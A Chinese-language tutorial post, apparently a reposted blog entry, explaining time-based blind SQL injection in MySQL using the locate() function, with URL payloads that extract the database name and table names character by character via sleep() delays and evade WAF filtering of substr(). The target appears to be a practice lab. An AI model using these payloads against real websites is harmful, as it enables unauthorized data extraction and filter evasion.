基于locate函数的的时间盲注 BY 马丁

让人想犯罪 __ 提交于 2019-12-28 03:57:51

1.在盲注中,字符串截取函数我们一般使用substr或者substring(两者一样),但是还有一个冷门函数locate函数可以截取实现盲注。

2.那么我们先来了解这个函数的用法,locate(substr,str,pos) 返回子串 substr 在字符串 str 中的第 pos 位置后第一次出现的位置。如果 substr 不在 str 中返回 0。看下图。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

3.由于这函数的用法,不能结合ascii或者ord来使用,只能结合if来使用,下面来操作一下。

a)先判断数据库长度

   ?id=1' and length(database())=8 --+

b)再取数据库名称

   ?id=1' and if((locate('s',database(),1))=1,sleep(5),0)--+

在这里插入图片描述
其中这三个位置需要取遍历,更换s字符,后面就是n=n,直到遍历出数据库的名称。

c)再判断表的数量

   ?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4

d)再取表名,表字段,数据...

   ?id=1' and if((locate('m',(select table_name from information_schema.tables where table_schema='security' limit 0,1),2))=2,sleep(5),0)--+

4.由于mysql对大小写不敏感,所有写的时候用 locate(binary'S', str, 1) 加个binary(二进制)即可。

总结:虽然说比较麻烦,但是也是一种姿势,在waf过滤了substr函数的时候可以使用这种方式。         
**大量文章以及技术交流分享QQ群: 894922931**           
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!